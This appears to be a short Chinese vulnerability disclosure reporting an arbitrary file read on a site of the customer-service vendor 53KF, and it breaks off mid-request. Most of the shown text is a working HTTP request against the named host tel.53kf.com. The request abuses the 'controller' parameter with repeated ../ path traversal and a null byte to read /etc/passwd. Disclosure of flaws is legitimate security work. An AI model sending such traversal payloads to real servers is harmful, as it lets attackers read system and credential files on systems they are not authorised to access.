53KF某重要站点任意文件读取

简要描述： 详细说明： 网站：tel.53kf.com controller可控 request： GET /external.php?controller=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00web&style=61565627-4006633536-103387129 HTTP/1.1 User-Agent: Mozilla/5.0 Windows; U; Windows NT 6.1; en-US Accept: /...